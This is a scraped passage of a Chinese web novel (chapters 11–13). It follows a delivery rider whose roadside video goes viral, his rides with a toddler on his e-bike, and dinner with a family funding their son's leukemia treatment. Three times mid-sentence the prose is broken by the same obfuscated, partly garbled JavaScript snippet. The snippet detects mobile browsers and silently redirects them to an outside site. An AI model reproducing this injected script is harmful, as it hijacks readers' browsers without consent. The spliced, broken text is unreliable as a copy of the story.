但不是他拍的vlog,而是路人拍到放上网的视频爆了,有人认出他的特色小电驴,网友们顺藤摸瓜寻了过来…… * 回到车上时,霍懿安已经重新变回面无表情的冷峻雕塑。 张秘书虽心中藏了无数问号,但还是清楚很多事是轮不到他过问的。 因为崽子没被带回来,张秘书有些拿不准是立即离开还是留在这边继续等崽,低眉顺目等了片刻也不见霍懿安给出指令,他只好另辟蹊径。 “霍总,昨天的车祸被拍,引来不少关注,截至目前的评论都很正面,您看是放任热度自然消退,还是让公关部直接处理掉?” 霍懿安闻言将视线转向新秘书张帅,脑中惯性般晃着某张从未觉得有多漂亮的高清面庞,男人长眸微眯眉头紧蹙。 张秘书顿时紧张起来了,八百个心眼子一起高频运转。 然后就听霍懿安突然问道:“你怎么丑成这样?” 11. 第 11 章 郁明殊这一天实在过得太充实了。 早上被张秘书带去做亲子鉴定,下午又被霍懿安带崽追到家里,中间还穿插着生了场小病,他实在没空出时间去看新vlog的后续反馈。 等他得知视频爆了的时候,已经被营销号传得满天飞了,每一个都短小精悍直击爆点博人眼球。 无数网友们在好奇心驱使下兜兜转转寻找他这个当事人时,郁明殊也在费力寻找原视频。 虽然天降热度对现在的他来说是天大的好事,但郁明殊惊喜过后先担心会牵扯到霍懿安,再进一步得罪对方。 现在不仅要考虑霍懿安是他惹不起的大人物,以及这人脑子不太正常,还要考虑因崽产生的姻亲连接。 虽然不知道他真正的血亲们是什么样的情况,但他不想在尚未相认时就给对方添麻烦。 原视频热度不低,只是被太多急于分吃流量的营销号给掩埋了,郁明殊还是在某个爆款营销号视频的评论区,找到好心人指路原作者,但等他点进去的时候,原视频已经被下架了。 虽然没看到具体内容,但网友总结的很全面。 原视频作者一开始是想吐槽外卖员逆行闯红灯害人害己,正操着一口地道A城话相当慷慨激昂阴阳怪气地说着“要我说嗨,这好心小哥就不该帮他,就得让他长长教训,不然这次运气好捡了一条命,下次可就不一定……”,没等说完,原视频作者话锋猛地一转,“卧槽这哥们帅啊!” 镜头一抖,紧接着就被快速拉进并定格在“好心小哥”的脸上。 不过当时郁明殊已经走到豪车边上俯身说和,所以镜头只拍到了侧脸。 郁明殊摘头盔口罩前,拍摄者一直在对“外卖员逆行闯红灯”一事强力输出,但自从远远瞄到郁明殊正脸后,镜头就没再离开过郁明殊。 “首先我不是男同,但这哥们真帅!” “等等啊,刚刚正脸没拍到,晚点拍一下正脸给你们看看,真帅,我就没见过长这么帅的,明星里也没有这么帅的……” 大概是自己也觉得有所不妥,拍摄者边拍边给自己找补:“我靠他跟大劳车主聊什么呢这么久,手都酸了……嘿!车主还是个金毛老外,我靠这哥们好高怎么跟男模似的?还带一串保镖,这特么是拍短剧呢吧!” 旁边路人听他碎碎念,还在一旁接茬:“敢往幻影上撞,短剧有这个预算?” 拍摄者是个乐子人,平时就爱分享一些A市见闻,起号比较早,也陆续积累了小一万粉,所以视频一经发出就有很多老粉吐槽他深柜。 气得拍摄者又放出几张单独拍摄的郁明殊侧身照加以解释,并直接问那些说他弯了的人:【摸着良心说,帅不帅?】 意在表明并非自己看上男人了,而是这男人确实长得太精彩了。 拍摄者还给评论里所有夸郁明殊惊为天人的评论点赞,目的其实也是想力证他不是爱上男人了,而是群众眼光雪亮。 但连这一部分都被营销号截图做成搞笑视频了,并ai配音道—— “主包不语,只一味排出九张高清大图。” “主包不语,只是一味询问你看帅不帅。” “人间扳手,随机掰弯一串直男。” “直男,但狂按三百张高清单人照……” 可以说视频能爆实在再正常不过了,不仅有社会热点问题“骑手闯红灯逆行”,以及后续“骑手因撞豪车走极端险酿大祸”。 还有顶级豪车加持,以及直男认证的神颜小哥从中帮忙,豪车主人还是个身材高大的金发型男,再加上原作者为自证直男被调侃负隅顽抗等搞笑反应,实在是爆点十足、要素齐全。 评论区也很有梗: 【请主包立即将九张单人大图私我,你是直是弯我自有评断[狗头]】 【我很理解主包,有时候直弯只在一念之间,颜性恋不丢人。】 【看过原视频和九张高清大图的人在这里,只能说主包弯得不冤,小哥的确帅的不要不要的,反正算上明星在内我也没见过这么帅的。】 【???所以图呢!???】 【世风日下人心不古,道德在哪里,尊严在哪里,小哥地址又在哪里?!】 …… 郁明殊看了一圈,基本能确定原视频被下架应该是因为没打码就发出来了。 这一方面营销号都很老练,不仅给他糊上了马赛克,就连入镜的路人、车牌都照顾到了。 霍懿安则是从一开始就没被拍到脸,倒不是因为身边围着保镖,这全要归功于这男人全程没用正眼看人。 不然在霍懿安下车后两人面对面交谈,或者说他单方面被对方质询的时候,霍懿安应该也会被拍到侧脸。 郁明殊放心不少,对着画面里被保镖包围但因身量过高,仍能露出铂金色发顶的男人,心里不免产生了一个疑问—— 保镖围再多,不还是露头就秒? 郁明殊突然没那么羡慕霍懿安的身高了,但转念一想,这种劣势的前提是有钱到出行需要保镖相护,他这种穷鬼长得再高也不用担心被狙击手爆头。。。 不论是原视频带起的热度,还是营销号团建般地冒出来分吃流量带起的第二波热度,还是成功将相关词条送上热点榜单。 虽然位置不算靠前,但还是为他这个当事人带来了巨大流量。 一天不到的时间,郁明殊的账号“我有一头小电驴”已经涨了十几万粉了,并且还在持续增长中,这还是因为他的账号比较晚被挖出来。 郁明殊最新发的vlog视频也被赞爆了,尤其是当网友陆续翻了郁明殊的全部视频,发现这种顶级神颜竟然一点脸没露过,一直在专注拍送外卖的视频,都纷纷到评论区评论: 【是什么让你坚持走这种歪路?】 【你现在的当务之急是把小电驴扔了,马上冲进直播赛道开擦!】 【少听上面的人胡说,现在开始去健身房练薄肌,然后等着经纪公司来挖直接出道。】 【主包真的好帅啊啊啊啊请不要暴殄天物!立马给我露脸!!!】 …… 郁明殊虽然不赞同送外卖是歪路这种说法,但被提及出道露脸也颇为心酸无奈。 不过这种情绪刚冒出来,就被崽子软甜的小奶音打断了:“拔拔,腻↑子↓冒↑泡↓泡↑啦↓~” 自从郁明殊将梨子水煮上,这崽就趴在小桌板上目不转睛地看。 郁明殊寻声望去,看着崽子毛茸圆润的后脑勺,心里就忍不住融化。 “那太好了,再煮一阵嘟嘟宝宝就能喝梨子水了~” 崽闻言扭回郁明殊怀里,一边重重点头,一边奶声奶气说道:“拔拔坠好,宝坠爱拔拔!” 霍懿安离开不久,郁明殊就给崽套上了新衣服,又带崽找了一家很干净的家常小炒填饱了肚子。 睡饱后他的感冒症状就彻底消失,郁明殊怀疑自己突然发烧是近期累到了,外加昨晚累狠了才一下子爆发,应该不是感冒,但他还是给崽买了瓶果味维C当软糖吃。 除此之外他听崽的嗲甜小奶音中隐隐透出沙哑,有时夹不紧就嘶哑得格外明显,担心这崽嗓子出问题,又买了点梨子和冰糖回来,用小煮锅炖梨子糖水给崽润喉。 以郁明殊现在的经济条件,不去跑单赚钱就算是在花钱了。 哪怕是生病了也不该放任自己这么休息,但考虑到崽难得被留在他身边,郁明殊不仅给自己放假了,还带崽小小奢侈了一下。 好在天降流量虽然不能马上变现,但如果把握得当应该还是能留住不少,要是经济压力能得以缓解,他可以给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613565|187644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崽提供更好的,就是不知道那时候他还能不能见到崽子…… 郁明殊也很清楚,对比孩子妈妈那边能提供的优渥条件,他能做的都太过寒酸。 好在小幼崽不仅一点不嫌弃,还满心期待盼着郁明殊给他炖的梨子水。 听着崽子奶声奶气的甜言蜜语,郁明殊忍不住捧起崽子毛茸茸的发顶猛亲:“嘟嘟怎么这么可爱呀!” 西奥多小朋友久违地被爸爸猛啾,心里别提多高兴了,做梦似的发出阵阵欢愉小奶音:“咯咯咯~宝像拔拔!咯咯咯~” 梨子水炖煮了二十分钟,又焖了十分钟,等放凉些给崽吃上,已经是半个多小时以后的事情。 崽子吃了一口,先夹着小奶音哇哇赞叹了好一通,差点让郁明殊以为自己是什么小当家化身,而且只喝一口就药到病除,反复夹着小奶音碎念说自己嗓子一点都不难受啦。 然后这崽又擓了一大勺喂给他,之后更是“崽崽一口拔拔一口”,梨子糖水没什么特别的,但暖心小乖崽几乎把郁明殊甜晕了。 期间郁明殊一边rua着软甜小奶崽,一边在脑中快速琢磨着,怎么才能尽可能接住这一波流量。 爸崽刚将一小锅梨子糖水吃完,郁明殊就再次接到了骑手大叔的电话。 依旧是要请他吃饭答谢,但为了不让郁明殊有压力,大叔一开始就点明只是请郁明殊到家里吃顿家常菜。 这回郁明殊没再推拒,倒不是因为下馆子变成家常菜花费减半,而是他想到了下一期视频最适合的主题。 因为郁明殊和崽吃得比较晚,他们就将饭点约在了晚上八点。 这期间郁明殊也没闲着,直接从床板下翻出二手小电驴之前附送的儿童座椅。 款式就是街上常见的基础款,只要固定在电动车踏板位置,孩子就可以稳稳坐在里面。 除此之外郁明殊还带崽去附近买了个最小号头盔,一开始只是想着大叔家有点远,地铁倒来倒去太麻烦,不如带崽骑车了。 3C认证的儿童头盔也没多少钱,万一以后崽子能时不时来他这边待几天,有了这套设备他带崽去哪里都很方便。 但一切都准备好后,距离晚饭还有两个多小时,而这两个多小时又刚好是外卖员赚钱的晚高峰。 郁明殊看了看正围着小电驴哇塞个不停的崽,又看了看手机上不断弹出的金钱诱惑。 他还是没忍住问向崽子:“嘟嘟想不想试坐一下?” * 十分钟后,霍懿安收到保镖的实时汇报。 照片上郁明殊和崽戴着同款安全帽、顶着同款灿烂笑容,正骑着他那破旧穷酸的小电驴驶入车流。 霍懿安脸色一沉,眉头随之紧皱。 虽然是他让几个保镖留下盯崽,出现问题第一时间向他汇报,但不意味着他需要他们事无巨细地播报,甚至还把郁明殊的照片发过来碍眼…… 不论是崽子的来源,还是郁明殊在其中的牵扯,至今没查到一点线索,但这也并不能让霍懿安相信郁明殊的巧言令色,反而让他更加怀疑。 毕竟这个同时认准他和郁明殊父亲身份的孩子,总不能是凭空变出来的。 越是连一鳞半爪都查不到,越是让人觉得背后阴谋深不可测。 一向平静无波的思绪因此事频生波澜,实在让霍懿安深感烦躁,尤其是对上照片中过分明媚愉悦的笑颜后。 不论背后人是谁,郁明殊所图无非就是钱。 想要不劳而获走捷径的人,他看过太多了,郁明殊绝对是其中最可恶的一个,他自然越看越碍眼。 然而没等霍懿安质疑安保团队做了多余的事,对话框中很快弹出了一条新消息:【霍总,郁先生要带小少爷去送外卖,很难全程跟随,是否需要拦下他们?】 霍懿安:? 12. 第 12 章 西奥多生于最顶尖的豪门望族,一出生就是全家最珍贵的宝贝,自是出行有豪车,往来无电驴。 正因为从未接触过,才更让西奥多兴奋雀跃,更别说还有宝贝爸爸的加成——小电驴的儿童座椅固定在踏板位置,崽坐进去就相当于坐进爸爸怀里! 戴着跟爸爸款式相近的黑色头盔,仰着小脸蛋感受着强劲的风力带来的凉爽快意,整个崽都要幸福冒泡了,每一次加速转弯都伴随着崽子兴奋又奶甜的笑叫。 “哇——” “噢~~~!” “哈哈哈咯咯咯……” 崽子仰起小脑袋就能看到专注开车的爸爸,看着郁明殊丝滑转弯、利落掉头,心里忍不住一次又一次地暗暗拉踩:比只会坐在大车车后排低头戳屏幕的爹地厉害一百倍! 中途等红灯,郁明殊低头对上崽子亮成小灯泡的星星眼:“拔拔好腻害喔~!!” 崽子的铂金色小软毛手感极佳,郁明殊已经摸上瘾了,这会儿见崽又萌死个人,他习惯性摸上崽子的小头盔:“嘟嘟喜欢吗?” 崽子兴奋攥紧小拳头,小鸡啄米似的点头:“炒!鸡!稀!饭!嘟~” 伴随着又一阵的加速,怀中崽再一次发出热烈雀跃的清脆奶音,一声高过一声,满是掩不住的开心,满口的小乳牙全都被他笑出来了。 湛蓝的明亮眼眸仿佛有着特殊魔力,直接将郁明殊的心都看亮了,他从没觉得送外卖让人如此幸福快乐。 “借来”的小亲人只能暂时拥有,更显得弥足珍贵,让郁明殊更加珍惜也更加谨慎,一次基本只接一单,碰上非常顺路能一起送的,才会接两单。 所以哪怕是最火热的晚高峰,爸崽俩也不急不缓,带崽兜风为主,外卖为辅。 第一份外卖就在郁明殊常跑的小区,他轻车熟路拐到了小区后门,保安果然又不在。 黑色金属小门前堵着一个年轻外卖员,不知在那边等了多久,正一脸着急地打着电话。 郁明殊打眼一看就猜到了大致情况,保安不在,前门不让进,后门打不开,新手外卖员只能心急火燎给顾客打电话。 之所以如此清楚,就是因为他最开始跑外卖时也没少遇到这种尴尬事,但现在的他已经算个成熟的外卖员了,再遇上这种事,满心从容间还生出一点小小的得意。 郁明殊下意识将腰背挺得更直些,清了清嗓子对前面喊道:“兄弟,让一下。” 郁明殊不穿骑手服装,即便小电驴后方也绑着个用来存放外卖的大箱子,但哪怕戴着口罩,绝佳的身材气质还是自动生成光环滤镜。 就连他破旧的黑色小电驴,看起来都像是刻意做旧的,是以他就算手里拎着外卖袋,也很少被小区保安阻拦,更别说这会儿身前还坐着个不止漂亮非常,还一看就极为矜贵的蓝眼小金毛。 前面的外卖员扭头看过来,以为他是拥有门禁卡的小区业主,顿时笑开了花跟电话那边说道:“有人来开门了,我马上送进去!” 外卖员立即给郁明殊让开位置,没想到,预想中刷卡开门的画面根本没有发生,只见郁明殊右手轻拧把手,小电驴一个前冲就直接将门禁轻松撞开。 郁明殊的利落反套路操作直接给新手外卖员看愣了,满脸写着“我靠!这也行???”。 郁明殊淡定收脚,骑着小电驴直奔目的单元而去,只留下一个潇洒帅气的背影。 实际上这小区他送过多次,门禁比大多数小区松,很多业主懒得拿卡就会直接用身体撞开,只会困住一些没经验的。 像他第一次来送被关在门外,就是一个骑车大姐现场教学的,大姐的帅气身影令他印象深刻,没想到有一天他也能碰上这样的机会。 郁明殊不确定自己有没有达到大姐的帅度,但确实是给他秀爽了,嘴角本就难压,更别提身前还坐了只哇塞个不停的崽。 “拔拔好棒棒棒棒棒!”崽子顶着无比佩服的迷弟脸,一边发出阵阵雀跃小奶音,一边将一对“真棒”大拇指举得高高的。 郁明殊憋了一会儿,还是跟崽一起笑了起来:“是有点帅哈哈~” 崽:“系炒鸡炒鸡帅!!!” 一直到下车,崽子还在呱唧呱唧鼓掌和猛竖大拇指间反复切换,并在心里丝滑拉踩:爸爸太厉害了,比爹地厉害一千倍!! 时间宽裕,郁明殊牵着一蹦一跳的崽子往单元门里走,这电梯人多,郁明殊怕崽子被挤到直接将他抱了起来。 崽子头上戴着小头盔,盖住了大部分的小金毛,但一双比蓝宝石还要璀璨漂亮的大眼睛同样引人注目。 一个阿姨最先注意到:“哇,你家孩子也太好看了,是混血吗?” 再看抱着孩子的年轻男生,虽然被口罩遮得只剩眉眼,但也极为精致出色,立即补充一句:“哎呀,当哥哥的也这么好看!!” 话音未落,一整个电梯的人就都看了过来,郁明殊都有些不好意思了。 但西奥多小朋友却被夸得十分习惯,嘟着小脸一本正经地竖起食指晃了晃,又洋腔洋调地纠正道:“不系哥哥,系拔拔喔。” “呀,竟然是爸爸呀?” “这么年轻的爸爸啊?!” “难怪孩子这么好看,爸爸妈妈肯定都好看。” “可不是么真漂亮啊,你家孩子没去当童模吗?” “是新搬来的吗?这么好看我之前不可能没注意到啊……” 郁明殊不算社恐,但在挤满人的封闭空间里被所有人注视追问,他也很难不紧张,一时间汗都要下来了,好在他送餐的楼层是第一个抵达的。 然而在他这个爸爸局促不已的时候,怀中的崽子却操着非常不标准的普通话对答如流—— “拔↑拔↓更↑好↓看↓!” “米↑有↓麻↑麻↓……童↑模↓系↑习↓么↑?” “不系喔,宝系陪……”听到爸爸提醒他电梯到了,社牛崽子立马挥舞起白嫩小手,“姨姨、嘘嘘,掰掰。” 混血小洋崽本就极为漂亮,又处于一个做什么都会被夸的年纪,再这般奶声奶气的认真回应,还知道十分懂礼貌的跟所有人告别。 不过是电梯上行几楼的时间,就成功将一众陌生人俘获了,一直到电梯门闭合,郁明殊还能听到接连不断的夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613566|187644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奖赞叹声。 这绝不是滤镜作祟,郁明殊再一次确定,他家宝宝就是世界上最棒的崽! 这个想法刚冒出来,崽子就在他怀里拱了拱小屁股——“拔拔,宝重重,寄几走。” 对着崽子水润润亮晶晶的蓝眼睛,郁明殊再一次崽瘾大发,先捧着小脸啾了一口,才将崽子放到地上:“宝宝一点都不重,走累了一定要说喔。” 崽子被啾得一脸甜蜜,呲着小白牙笑着点头:“好嘟~” 郁明殊在心中再一次感叹:已经可爱到极致了,不能更可爱了! 很快,郁明殊就被学他说话的崽子再一次萌化了。 “祝~宁~用~千~愉~快~” 一同被萌化的还有开门的花臂大哥。 原本男人正拿着电话吵架呢,关门前注意到外卖员旁边还站了个小幼崽,奶声奶气重复着一旁外卖员小哥的“祝您用餐愉快~”。 前一秒还在对着电话口吐芬芳,收到小幼崽祝福后不自觉就夹了起来,花臂男人俯下身温柔夹道:“谢谢宝贝儿啊~” 房门一关,又是提高八度的粗声斥骂:“没说你!你也配?你宝贝个大粑粑!!” * 虽然两个多小时只送了五单,其中有一单还是相邻的两户,效率远低于平时,但爸崽二人都送得非常开心。 不过即便送的少,但因为要逐渐往大叔家走,所以后面接的单子都很远,单价高,再加上花臂大哥给了二十打赏,郁明殊还是成功将崽子的小头盔给赚了出来。 五单收手,郁明殊也带崽骑到了大叔家附近,照例走了下vlog的算账汇报今日收益的流程。 然后他先将运动相机关上了,打算到了大叔家征求同意后再接着拍第二部分。 拍第一部分时,郁明殊就注意不让崽露脸,即便如此,他也不确定霍懿安那边是否会同意他使用这段素材,但就算不让发出去,郁明殊也想一帧不落地记录下来。 停好车带崽往大叔家走的时候,崽子仍旧拒绝被抱。 但这边的路实在太难走了,郁明殊还是将崽抱了起来,一边随便说些什么转移崽子注意力:“我们要去的这家也有个比嘟嘟大两岁的小朋友,不过小朋友住院了,这次看不到……” 郁明殊最开始得知大叔家孩子才五岁时,他很是惊讶了一下,原来大叔也只是看起来沧桑,实际上今年才刚满四十,五岁这个是小儿子,老家还有个十五岁的大儿子。 崽子眨巴着水汪汪的蓝眼睛认真听着,适时发问:“为习么住院?” “小哥哥生病了,需要长期待在医院里养病呀。”郁明殊温温柔柔向崽子解答。 没曾想小家伙听完反倒更困惑了,歪着小脑袋将小眉头皱了又皱,犹豫片刻才继续问道:“为习么要,养一个,病啊?不养,不揪好了么……” 郁明殊被崽子问愣一瞬,然后就被崽子的童言童语逗笑了:“哈哈哈不是养一个病,是养身体治病的意思。” 崽这下明白了,蓝眼睛亮了又亮:“哇~酱紫喔~拔拔坠棒呐!~” 什么都懂,比爹地厉害一万倍!!! 13. 第 13 章 大叔姓沈,在知道大叔年纪后,郁明殊就立即改口叫哥了。 沈哥状态比起前一天好了太多,早早等在筒子楼楼下,远远见到爸崽二人的身影,就立即红光满面地迎了上来。 “小郁!哎呀,这就是你亲戚家的弟弟啊,你们家都这么会长吗?这孩儿也太带劲了!” “沈哥你怎么下来了?”郁明殊没强求崽子问好,而是抱着孩子向前倾了倾身,算是爸崽二人一起打招呼了,又彼此介绍这是嘟嘟,那是沈叔叔。 “哈哈哈我这不是烟瘾犯了,不能抽也得下来嘚瑟嘚瑟,找找当初抽烟的氛围。”沈铁峰不常撒谎,他其实是觉得家附近环境太差,尤其晚上到处黑糊糊一片,哪怕拄着拐他也不放心要出来接一下。 自觉找到不错的借口,沈铁峰搓着后脑勺嘿嘿一笑。 实际上郁明殊早有准备,他租房时没少看这种破旧如鬼屋的筒子楼,怀中崽子却睁大了双眼,一路趴在爸爸肩头,好奇地观望着陈旧破败的楼道。 同样是很破的房子,比起这里,他更喜欢充满爸爸味道的家,但只要能跟爸爸在一起,崽从不挑剔,将小胖脸埋在爸爸肩头,认真打量着周遭新奇的一切。 沈家嫂子将时间掐得十分精准,刚好在两大一小进门时将最后一道小炒端上了桌。 一阵热络寒暄后,四人坐进小圆桌。 沈铁峰还在养伤喝不了酒,妻子汪晓青便代替丈夫,一开席就要给郁明殊倒酒敬酒,表达对方的仗义出手和救命之恩。 郁明殊回去还要骑车带崽,肯定不能喝这个酒,而且他勉强算仗义出手了一下,但救命之恩就扯太远了。 沈铁峰虽然一时想不开走了极端,但当时周围那么多人,没有他也会有旁人阻拦。 虽然特意准备了贵价好酒,但夫妻俩是为了向恩人道谢,自然不会勉强郁明殊,但又怕他只是在客气推拒。 双方好一番拉扯,看得崽子小眉头蹙起,最后小手一挥大气开口:“补要推啦,宝喝!” 爸爸说不想喝,但姨姨叔叔非要爸爸喝,小脑瓜稍微那么一转,贴心崽子便得出结论——暂停喝奶,宝来替。 崽子小眉头紧锁,说得一脸认真,成功将三个大人一起逗笑了,也顺利将喝酒一事跳了过去。 “宝宝不能喝酒的,小牛奶不好喝吗?”郁明殊揉着崽子头顶的小软毛,柔声劝道。 崽子虽然有点好奇,但爸爸说不让他就立即觉得还是甜甜的小牛奶更好喝了。 沈、汪二人原本都是比较粗犷的风格,见状也不由夹起嗓子轻声问道:“宝宝,这些菜有你爱吃的吗?” 汪晓青则指着身前的排骨炖豆角问道:“孩子说不能吃面条,我就没做豆角盖被,换成玉米锅贴了,纯玉米面没加面粉,口感有点粗,不知道你们能不能吃得惯。” 请人吃饭自然要提前问好忌口的,郁明殊是什么都能吃,不过眼前的混血小朋友实在不太符合他们对外国人的刻板印象——撒把花生就能团灭。 但过敏方向也有点奇特,这孩子对坚果类不过敏,反倒对香菜、芹菜、青椒、葱姜蒜还有面条过敏。 一直以来只听过挑食不爱吃这类菜,原来老外连这个也会过敏?最奇特的当属面条,之前更是闻所未闻。 “是只有面条不行还是面粉做的都不行啊?” 郁明殊将浸润了香浓汤汁的玉米饼夹入崽子碗里,三人就此展开了话题,期间当事崽却只顾着埋头猛吃,并在大人们看不到的角落湛蓝的大眼睛滴溜溜转个不停。 ——什么?只有面条过敏是不可以的吗?面条是面粉做的……这宝也不知道哇! ——香菜、芹菜、青椒、葱姜蒜过敏很奇怪? ——不应该啊,爹地明明有那么多过敏不能吃的,他只挑了自己不喜欢的几样过敏而已,应该很合理才对…… 好在大人们的话题很快从孩子的神奇过敏原,转移到其他人类幼崽身上。 说起小儿子的病情,夫妻俩再是想在外人面前表现得乐观坚强些,也很难做到。 小儿子出生前,他们是幸福的一家三口,可能也是因为觉得生活太幸福了,就总想奢求一个儿女双全。 当然,再来个男孩也是好的,两个人都是很好的父母,家里的老人也能提供有力支撑,所以他们不久便有了第二个孩子。 然而圆满的日子仅仅持续了两年多,小儿子就突然罹患白血病,一开始是保守治疗,但情况总是反复,加之妈妈和大儿子都配型成功了,便在医生的建议下,选择了最合适也是亲缘捐献首选的兄弟配型。 没曾想,术后还是引发了严重的并发症,加上前期反复烧掉的治疗费,以及移植费用,一年多的时间刨除医保报销也早就超过了百万,但只要能把孩子留住,夫妻俩就算掏空家底也心甘情愿。 结果小儿子回到家没过几天正常人的生活,便再次复发。 为了能办长期异地医保提高报销比例,夫妻俩直接带着孩子到A市打工治病。 老家的房子车子已经卖了,现在只能用两边老人最后的养老钱给孩子治病,即便如此也无法覆盖孩子极可能再次发生的严重排异,但他们还是不想放弃自己的孩子。 夫妻俩只能走一步看一步,沈铁峰没天没夜送外卖,汪晓青一边照顾孩子,一边穿插着给人上门做保洁,想的都是多赚一点钱,小儿子就能多一分生机。 原本只是跟恩人介绍下自家情况,但说着说着夫妻俩都泣不成声。 其实心里早已苦透了,没什么好抱怨倾诉的,只是觉得太对不起两个孩子了。 郁明殊听得一阵鼻酸,尤其是联想到如果没被抱错,他才会是那个被亲生父母狠心丢弃的孩子,而抱错后,他也成为了让养父母抛弃的人。 前者大概率是因为贫穷,后者则是为了更重要的利益。 郁明殊第一次直面如此纯粹、执着的父母之爱,忍不住问出不合时宜的心里话:“……二移预后这么差,没想过放弃吗?” 尤其是沈铁峰都想过走极端,这种情况就算放弃治疗,也没人能指责他们。 哪怕是作为父母,夫妻二人也尽力了。 “当然想过……但怎么放弃?他是我身上掉下来的肉啊,是我们的孩子,他就只有我们,如果连爸爸妈妈都放弃了,他就真的没有活路了……”夫妻俩再次抱头痛哭。 话音未落,郁明殊一直在眼眶中打转的泪水也落了下来。 崽的中文没那么好,而且更习惯听洋腔洋调版本的中文,更别说沈铁峰夫妻俩还带了点方言口音,激动时语速加快就更难懂了,所以他边吃边听了大半晌也都听得云里雾里。 但见爸爸哭了,崽子小嘴都来不及抹,丢下小勺子噌的一下从凳子上站起来:“拔拔!不哭!宝抱抱!” 说着就展开一双小短胳膊,牢牢抱住了爸爸的脑袋,叔叔姨姨可以互相抱,别人有的爸爸也要有! 没有感受到这份毫无保留的温暖时,郁明殊还能够强撑着擦干泪痕,毕竟这么多年他早已习惯了,也不是没见过比这更痛苦绝望的情况,而眼前的苦痛还不是发生在他身上的。 但当靠上崽子温暖的小胸膛,听着崽子鲜活有力的心跳声,郁明殊却反而止不住泪意了。 他多么希望他真的是崽子的爸爸,他多么希望真的会有一个人,能像这般毫无保留不计回报地爱他。 不过他还是很快清醒过来,连亲生父母和养父母都不爱他,他一个二十几岁的大人,怎么能对一个不满三岁的小亲人,产生如此可笑又贪婪的想法? 这崽只是那些有钱人暂时借给他的,即便他一直下意识排斥询问崽子的家庭,排斥探寻他和崽子亲情纽带上串联的“哥哥”或者其他血亲的具体情况,但他只是一个微不足道的便宜亲戚的事实不会改变。 郁明殊能做的只有将崽紧拥入怀,在有限的时间里深刻记住这份特殊又可贵的缘分…… 等三个大人重新调整好情绪时,汪晓青先笑了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613567|187644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她指着郁明殊胸口说道:“小郁,一看你这衣服,我就知道嘟嘟刚才没少吃红烧肉!” 郁明殊低头一看,自己的白T恤上印着一张小花脸,上半张脸是崽子跟他一起哭出来的泪痕,下半张脸则是崽子吃出的油脸蛋印出来的。 崽子闻言立即慌乱抹嘴,但油汪汪的小嘴早被爸爸的T恤擦干净了。 崽子瘪起小嘴有点生自己的气,郁明殊却立即拿出手机来拍,生怕晚一点泪痕干了就看不出来了。 见爸爸笑着拍照,崽也呲着小白牙凑近镜头,嘻嘻哈哈跟自己印上的小花脸合照。 等夫妻俩情绪稳定下来,郁明殊便说明了真正来意。 说来也神奇,外卖员撞大劳的视频也算是小范围出圈了,夫妻俩却被限制在信息茧房里都没刷到。 郁明殊适时表示:“其实我平时送外卖也会拍些视频发上网,所以这次有不少人找到了我的账号,现在热度挺高的,所以我有个想法……” 简而言之就是想以重病的孩子为切入点,拍一期诉说底层外卖员生存困境的视频。 郁明殊也是从如何接住这波巨大流量考虑,因撞车事件关注他的人大致能分为三类:冲着他外表来的,想看他露脸;冲着社会事件来的,想看下后续到底是否真没赔。 第三种则属于复合型,觉得他人帅心善还愿意做这么辛苦费力的工作,算是个正能量小伙,还算不错先关注一下。 提取核心需求无非是看脸、看事、看人,但脸他注定是没办法露的,这部分粉丝也注定留不住,而另外两部分他还是能做些什么的。 就算他给出的答卷大家不买账还是留不住人,他也想借此次事件的热度,尽可能解决两个问题:一、帮小朋友筹一些治疗费;二、引起更多人关注外卖平台的不合理之处。 沈铁峰夫妇已经把能想的办法都想尽了,对于这种雪中送炭的大好事,好不容易止住的眼泪再次飙出,夫妻俩作势就要下跪感谢,郁明殊费了好一番力气才将人拦住。 毕竟他也不是白帮的,这么做既有助于留住新粉丝,也能为他立善良人设,大家都喜欢善良的人,而他的善意并不纯粹,当不起夫妻俩的感恩戴德。 之后三个大人一起研究新一期的视频怎么拍,才能起到最佳效果,吃饱喝足的西奥多小朋友躺在爸爸的怀里,在爸爸和叔叔姨姨的讨论声中逐渐睡沉了。 一直到离开时,崽子都没有丝毫要醒的痕迹。 时间已经很晚了,郁明殊没舍得将崽叫醒,抱着暖融融的小团子边走边琢磨,他怎么能在不吵醒崽子的前提下将小家伙带回家呢? 没等到走到停车的位置,这个问题便有了答案——熟悉的豪车早已等在小电驴旁。 郁明殊以为他已经时刻做好归还崽子的准备,但当接崽的豪车真的出现在眼前时,他还是心下一震,瞬间便被巨大的无力和不舍占满,呼吸迟滞片刻,四肢也仿佛被灌了水泥般沉重。 他本能般渴求温暖不愿归还,但十二点的钟声已然敲响,魔法就此失效,根本没有他选择的余地…… 